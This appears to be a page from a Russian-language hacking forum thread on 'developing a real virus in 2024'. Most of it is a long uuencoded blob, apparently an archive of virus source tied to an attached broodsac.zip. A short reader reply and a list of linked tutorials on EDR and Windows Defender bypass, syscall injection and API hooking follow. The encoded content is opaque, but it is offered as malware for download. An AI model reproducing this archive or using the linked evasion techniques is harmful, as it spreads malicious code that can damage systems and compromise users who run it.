M<G]WD'T7?CB$!87,+AR.QJZC27DYDF\+2F`\.+!_6@S1:/#@/M2P:3K^0)PG
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
(!"VB[@!8`@``
`
end

|=[ EOF ]=---------------------------------------------------------------=|
 

Вложения

  • broodsac.zip
    37.2 КБ · Просмотры: 4

HMCoba

Активный пользователь
Активный
Регистрация
22.04.2023
Сообщения
154
Репутация
121

Разработка настоящего вируса в 2024 году.​


Интересное и полезное обсуждение. . .
Отметил, что детальное рассмотрение этапов разработки вирусного ПО действительно помогает понять, как можно улучшить безопасность и защиту.
Спасибо за информацию!
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 160
Репутация
8 285
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Верх Низ